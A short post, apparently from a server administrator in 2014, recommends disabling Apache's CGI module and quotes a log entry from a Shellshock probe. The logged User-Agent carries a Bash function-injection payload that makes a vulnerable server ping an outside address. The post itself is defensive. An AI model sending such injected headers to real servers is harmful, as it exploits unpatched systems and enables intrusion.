Put a "#" in front of
LoadModule cgi_module modules/mod_cgi.so
in /etc/httpd/conf/httpd.conf. This prevents the code that runs CGI scripts from even being loaded with Apache, and will totally disable all CGI scripts. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.
This will break CPanel, but not non-CGI admin tools such as Webmin. I can't say anything about PHP; we don't use it.
People are out there probing. This is from an Apache server log today from a dedicated server I run.
89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
The source is on "i3d.net", which is a hosting service in Rotterdam NL. So someone is running probes from something bigger than a desktop. I sent their support people a note.